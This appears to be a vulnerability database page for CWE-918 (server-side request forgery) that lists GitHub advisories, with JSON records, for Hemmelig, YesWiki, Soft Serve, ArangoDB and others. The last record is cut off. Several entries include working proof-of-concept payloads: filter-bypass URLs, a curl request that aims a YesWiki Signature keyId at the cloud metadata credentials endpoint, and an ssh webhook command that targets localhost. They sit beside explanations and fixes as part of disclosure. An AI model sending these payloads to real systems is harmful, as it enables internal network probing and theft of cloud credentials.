CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4615 vulnerabilities reference this CWE, most recent first.
GHSA-VVXF-WJ5W-6GJ5
Vulnerability from github – Published: 2025-12-29 21:31 – Updated: 2025-12-29 21:31Summary
A Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., localtest.me which resolves to 127.0.0.1) or open redirect services (e.g., httpbin.org/redirect-to). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.
Details
The vulnerability exists in the isPublicUrl function located in /api/lib/utils.ts. The function validates webhook URLs against a blocklist of private IP patterns:
export const isPublicUrl = (url: string): boolean => {
const parsed = new URL(url);
const hostname = parsed.hostname.toLowerCase();
const blockedPatterns = [
/^localhost$/,
/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/,
/^192\.168\.\d{1,3}\.\d{1,3}$/,
// ... other patterns
];
return !blockedPatterns.some((pattern) => pattern.test(hostname));
};
The validation is flawed because:
-
DNS Rebinding Bypass: It only checks the hostname string, not the resolved IP address. Domains like
localtest.mepass validation (not matching any blocked pattern) but resolve to127.0.0.1. -
Open Redirect Bypass: External URLs like
httpbin.org/redirect-to?url=http://127.0.0.1pass validation sincehttpbin.orgis a public domain. When the server follows the redirect, it connects to the internal address.
PoC
Optional: On the container that runs Hemmelig application, host a temporary port with the following command:
node -e "require('http').createServer((req,res)=>{console.log(req.method,req.url,req.headers);res.end('ok')}).listen(8080,()=>console.log('Listening on 8080'))"
- Log in as an user
- Switch to
Secret Requeststab and create a new request - When inside the request dialog, there are 2 possible payloads that can be used on the
Webhook URLinput to bypass SSRF
1. Using domain redirect: http://localtest.me:PORT
2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT
- Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request.
Otherwise, if the port doesn't exist, a similar error in the logs can be found:
Secret request webhook delivery failed after retries: TypeError: fetch failed
at node:internal/deps/undici/undici:15845:13
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:80
at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
errno: -111,
code: 'ECONNREFUSED',
syscall: 'connect',
address: '127.0.0.1',
port: 80
}
}
Impact
While the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.
Remediation
Replace hostname-based validation with IP resolution checking:
import { isIP } from 'is-ip';
import dns from 'dns/promises';
export const isPublicUrl = async (url: string): Promise<boolean> => {
const parsed = new URL(url);
const hostname = parsed.hostname;
// Resolve hostname to IP
let addresses: string[];
try {
if (isIP(hostname)) {
addresses = [hostname];
} else {
addresses = await dns.resolve4(hostname).catch(() => []);
const ipv6 = await dns.resolve6(hostname).catch(() => []);
addresses = [...addresses, ...ipv6];
}
} catch {
return false;
}
// Check resolved IPs against blocklist
const privateRanges = [
/^127\./,
/^10\./,
/^192\.168\./,
/^172\.(1[6-9]|2\d|3[0-1])\./,
/^169\.254\./,
/^::1$/,
/^fe80:/i,
/^fc00:/i,
/^fd/i,
];
return addresses.length > 0 && !addresses.some(ip =>
privateRanges.some(pattern => pattern.test(ip))
);
};
Additionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hemmelig"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69206"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-29T21:31:04Z",
"nvd_published_at": "2025-12-29T16:15:44Z",
"severity": "MODERATE"
},
"details": "### Summary\nA Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.\n\n### Details\nThe vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns:\n\n```typescript\nexport const isPublicUrl = (url: string): boolean =\u003e {\n const parsed = new URL(url);\n const hostname = parsed.hostname.toLowerCase();\n \n const blockedPatterns = [\n /^localhost$/,\n /^127\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/,\n /^192\\.168\\.\\d{1,3}\\.\\d{1,3}$/,\n // ... other patterns\n ];\n \n return !blockedPatterns.some((pattern) =\u003e pattern.test(hostname));\n};\n```\n\n**The validation is flawed because:**\n\n1. **DNS Rebinding Bypass**: It only checks the hostname string, not the resolved IP address. Domains like `localtest.me` pass validation (not matching any blocked pattern) but resolve to `127.0.0.1`.\n\n2. **Open Redirect Bypass**: External URLs like `httpbin.org/redirect-to?url=http://127.0.0.1` pass validation since `httpbin.org` is a public domain. When the server follows the redirect, it connects to the internal address.\n\n### PoC\nOptional: On the container that runs Hemmelig application, host a temporary port with the following command: \n```\nnode -e \"require(\u0027http\u0027).createServer((req,res)=\u003e{console.log(req.method,req.url,req.headers);res.end(\u0027ok\u0027)}).listen(8080,()=\u003econsole.log(\u0027Listening on 8080\u0027))\"\n```\n1. Log in as an user\n2. Switch to `Secret Requests` tab and create a new request\n3. When inside the request dialog, there are 2 possible payloads that can be used on the `Webhook URL` input to bypass SSRF\n```\n1. Using domain redirect: http://localtest.me:PORT\n2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT\n```\n4. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. \n\u003cimg width=\"795\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95d559e5-ead2-4b5d-8e53-9ddec3416953\" /\u003e\n\nOtherwise, if the port doesn\u0027t exist, a similar error in the logs can be found:\n```\nSecret request webhook delivery failed after retries: TypeError: fetch failed\n at node:internal/deps/undici/undici:15845:13\n at process.processTicksAndRejections (node:internal/process/task_queues:103:5)\n at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {\n [cause]: Error: connect ECONNREFUSED 127.0.0.1:80\n at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {\n errno: -111,\n code: \u0027ECONNREFUSED\u0027,\n syscall: \u0027connect\u0027,\n address: \u0027127.0.0.1\u0027,\n port: 80\n }\n}\n```\n### Impact\nWhile the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.\n\n### Remediation\nReplace hostname-based validation with IP resolution checking:\n```typescript\nimport { isIP } from \u0027is-ip\u0027;\nimport dns from \u0027dns/promises\u0027;\n\nexport const isPublicUrl = async (url: string): Promise\u003cboolean\u003e =\u003e {\n const parsed = new URL(url);\n const hostname = parsed.hostname;\n \n // Resolve hostname to IP\n let addresses: string[];\n try {\n if (isIP(hostname)) {\n addresses = [hostname];\n } else {\n addresses = await dns.resolve4(hostname).catch(() =\u003e []);\n const ipv6 = await dns.resolve6(hostname).catch(() =\u003e []);\n addresses = [...addresses, ...ipv6];\n }\n } catch {\n return false;\n }\n \n // Check resolved IPs against blocklist\n const privateRanges = [\n /^127\\./,\n /^10\\./,\n /^192\\.168\\./,\n /^172\\.(1[6-9]|2\\d|3[0-1])\\./,\n /^169\\.254\\./,\n /^::1$/,\n /^fe80:/i,\n /^fc00:/i,\n /^fd/i,\n ];\n \n return addresses.length \u003e 0 \u0026\u0026 !addresses.some(ip =\u003e \n privateRanges.some(pattern =\u003e pattern.test(ip))\n );\n};\n```\nAdditionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.",
"id": "GHSA-vvxf-wj5w-6gj5",
"modified": "2025-12-29T21:31:04Z",
"published": "2025-12-29T21:31:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HemmeligOrg/Hemmelig.app/security/advisories/GHSA-vvxf-wj5w-6gj5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69206"
},
{
"type": "WEB",
"url": "https://github.com/HemmeligOrg/Hemmelig.app/commit/6c909e571d0797ee3bbd2c72e4eb767b57378228"
},
{
"type": "PACKAGE",
"url": "https://github.com/HemmeligOrg/Hemmelig.app"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "hemmelig allows SSRF Filter bypass via Secret Request functionality"
}
GHSA-VW2V-VQM8-9F9G
Vulnerability from github – Published: 2026-04-30 18:30 – Updated: 2026-04-30 18:30A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.
{
"affected": [],
"aliases": [
"CVE-2026-36756"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-30T16:16:42Z",
"severity": "MODERATE"
},
"details": "A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.",
"id": "GHSA-vw2v-vqm8-9f9g",
"modified": "2026-04-30T18:30:32Z",
"published": "2026-04-30T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36756"
},
{
"type": "WEB",
"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md"
},
{
"type": "WEB",
"url": "https://github.com/halo-dev/halo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VW3J-XFJF-6RJ3
Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-02-10 00:00In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.
{
"affected": [],
"aliases": [
"CVE-2021-25939"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-09T13:15:00Z",
"severity": "LOW"
},
"details": "In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.",
"id": "GHSA-vw3j-xfjf-6rj3",
"modified": "2022-02-10T00:00:31Z",
"published": "2022-02-10T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25939"
},
{
"type": "WEB",
"url": "https://github.com/arangodb/arangodb/commit/d7b35a6884c6b2802d34d79fb2a79fb2c9ec2175"
},
{
"type": "WEB",
"url": "https://github.com/arangodb/arangodb/commit/d9b7f019d2435f107b19a59190bf9cc27d5f34dd"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25939"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VW42-752G-5MRP
Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 —@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}
The inbox controller calls verifySignature() before running any cryptography:
// tools/bazar/controllers/ApiController.php (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}
The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}
- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>').- YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain
publicKey.publicKeyPemthe controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
Before we start, make sure ActivityPub is enabled on the target form
podman exec "$CTR" mysql -uroot yeswiki -e \
"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
FROM yeswiki_nature WHERE bn_id_nature = 1;"
Send the unauthenticated SSRF trigger:
TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"
curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
-d '{}' \
-w '\n HTTP %{http_code}, elapsed=%{time_total}s\n'
You will get an error in response like this:
{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
HTTP 500, elapsed=0.15s
The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.
Tested with webhook:
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52769"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T20:58:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = \u00271\u0027`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** \u2014 `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83\u2013100)\npublic function verifySignature(Request $request) {\n if (!$request-\u003eheaders-\u003ehas(\u0027Signature\u0027)) {\n throw new Exception(\u0027No signature\u0027);\n }\n\n $sigConf = parse_ini_string(\n strtr($request-\u003eheaders-\u003eget(\u0027Signature\u0027), [\",\" =\u003e \"\\n\"]) // (a) attacker controls every field\n );\n\n if (!isset($sigConf[\u0027keyId\u0027],$sigConf[\u0027algorithm\u0027],$sigConf[\u0027headers\u0027],$sigConf[\u0027signature\u0027])) {\n throw new Exception(\u0027Malformed signature\u0027);\n }\n\n $response = $this-\u003ehttpClient-\u003erequest(\u0027GET\u0027, $sigConf[\u0027keyId\u0027], [ // (b) SINK \u2014 no validation,\n \u0027headers\u0027 =\u003e [ \u0027Accept\u0027 =\u003e \u0027application/ld+json\u0027] // no allowlist, no scheme\n ]); // pinning, no IP filtering\n ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php (lines 125\u2013145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n $activityPubService = $this-\u003egetService(ActivityPubService::class);\n $httpSignatureService = $this-\u003egetService(HttpSignatureService::class);\n\n $form = $this-\u003egetService(BazarListService::class)-\u003egetForms([\u0027idtypeannonce\u0027 =\u003e $formId])[$formId];\n\n if ($activityPubService-\u003eisEnabled($form)) {\n $activity = json_decode($request-\u003egetContent(), true);\n\n $httpSignatureService-\u003everifySignature($request); // \u003c-- SSRF fires here\n $activityPubService-\u003eprocessActivity($activity, $form);\n return new ApiResponse(null, Response::HTTP_OK, \u2026);\n } else {\n throw new NotFoundHttpException();\n }\n}\n```\n\nThe flow is **public ACL \u2192 enabled-form gate \u2192 unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient-\u003erequest(\u0027GET\u0027, \u0027\u003cattacker URL\u003e\u0027)`.\n* YesWiki\u0027s server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn\u0027t contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n -H \"Content-Type: application/activity+json\" \\\n -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n -d \u0027{}\u0027 \\\n -w \u0027\\n HTTP %{http_code}, elapsed=%{time_total}s\\n\u0027\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:\u2026\"}\n HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse \u2014 the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n\u003cimg width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" /\u003e",
"id": "GHSA-vw42-752g-5mrp",
"modified": "2026-07-09T20:58:33Z",
"published": "2026-07-09T20:58:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
},
{
"type": "WEB",
"url": "http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`"
}
GHSA-VWGF-9VCJ-W93C
Vulnerability from github – Published: 2025-05-01 06:30 – Updated: 2025-05-01 06:30The Gravity Forms WebHooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.0 via the 'process_feed' method of the GF_Webhooks class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-13845"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-01T05:15:51Z",
"severity": "MODERATE"
},
"details": "The Gravity Forms WebHooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.0 via the \u0027process_feed\u0027 method of the GF_Webhooks class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-vwgf-9vcj-w93c",
"modified": "2025-05-01T06:30:27Z",
"published": "2025-05-01T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13845"
},
{
"type": "WEB",
"url": "https://www.gravityforms.com/blog/brand-new-release-webhooks-add-on-1-7"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9311b20b-daad-408f-a1a0-d1e42573ab97?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VWGW-65GP-7F8Q
Vulnerability from github – Published: 2024-04-25 15:30 – Updated: 2026-04-28 21:34Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player.This issue affects Radio Player: from n/a through 2.0.73.
{
"affected": [],
"aliases": [
"CVE-2024-33592"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-25T15:16:04Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player.This issue affects Radio Player: from n/a through 2.0.73.",
"id": "GHSA-vwgw-65gp-7f8q",
"modified": "2026-04-28T21:34:57Z",
"published": "2024-04-25T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33592"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/radio-player/wordpress-radio-player-plugin-2-0-73-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VWQ2-JX9Q-9H9F
Vulnerability from github – Published: 2025-11-10 21:34 – Updated: 2025-11-15 02:51SUMMARY
We have identified and verified an SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints.
AFFECTED COMPONENTS (VERIFIED)
- Webhook Creation (pkg/ssh/cmd/webhooks.go:125)
- Backend CreateWebhook (pkg/backend/webhooks.go:17)
- Backend UpdateWebhook (pkg/backend/webhooks.go:122)
- Webhook Delivery (pkg/webhook/webhook.go:97)
IMPACT
This vulnerability allows repository administrators to perform SSRF attacks, potentially enabling:
a) Cloud Metadata Theft - Access AWS/Azure/GCP credentials via 169.254.169.254 b) Internal Network Access - Target localhost and private networks (10.x, 192.168.x, 172.16.x) c) Port Scanning - Enumerate internal services via response codes and timing d) Data Exfiltration - Full HTTP responses stored in webhook delivery logs e) Internal API Access - Call internal admin panels and Kubernetes endpoints
PROOF OF CONCEPT
Simple example demonstrating localhost access:
ssh localhost webhook create my-repo http://127.0.0.1:8080/internal \
--events push --active
then push to trigger.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/charmbracelet/soft-serve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64522"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-10T21:34:44Z",
"nvd_published_at": "2025-11-10T23:15:41Z",
"severity": "CRITICAL"
},
"details": "SUMMARY\n\nWe have identified and verified an SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints.\n\n\nAFFECTED COMPONENTS (VERIFIED)\n\n1. Webhook Creation (pkg/ssh/cmd/webhooks.go:125)\n2. Backend CreateWebhook (pkg/backend/webhooks.go:17)\n3. Backend UpdateWebhook (pkg/backend/webhooks.go:122)\n4. Webhook Delivery (pkg/webhook/webhook.go:97)\n\nIMPACT\n\nThis vulnerability allows repository administrators to perform SSRF attacks, potentially enabling:\n\na) Cloud Metadata Theft - Access AWS/Azure/GCP credentials via 169.254.169.254\nb) Internal Network Access - Target localhost and private networks (10.x, 192.168.x, 172.16.x)\nc) Port Scanning - Enumerate internal services via response codes and timing\nd) Data Exfiltration - Full HTTP responses stored in webhook delivery logs\ne) Internal API Access - Call internal admin panels and Kubernetes endpoints\n\nPROOF OF CONCEPT\n\nSimple example demonstrating localhost access:\n\n```sh\nssh localhost webhook create my-repo http://127.0.0.1:8080/internal \\\n --events push --active\n```\n\nthen push to trigger.",
"id": "GHSA-vwq2-jx9q-9h9f",
"modified": "2025-11-15T02:51:46Z",
"published": "2025-11-10T21:34:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64522"
},
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/commit/bb73b9a0eea0d902da4811420535842a4f9aae3b"
},
{
"type": "PACKAGE",
"url": "https://github.com/charmbracelet/soft-serve"
},
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Soft Serve is vulnerable to SSRF through its Webhooks"
}
GHSA-VWXX-W68R-9CM2
Vulnerability from github – Published: 2025-03-05 06:31 – Updated: 2025-11-03 21:33Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.862 Application 20.0.2014 allows Server-Side Request Forgery: CPA v1 V-2023-009.
{
"affected": [],
"aliases": [
"CVE-2025-27655"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-05T06:15:37Z",
"severity": "CRITICAL"
},
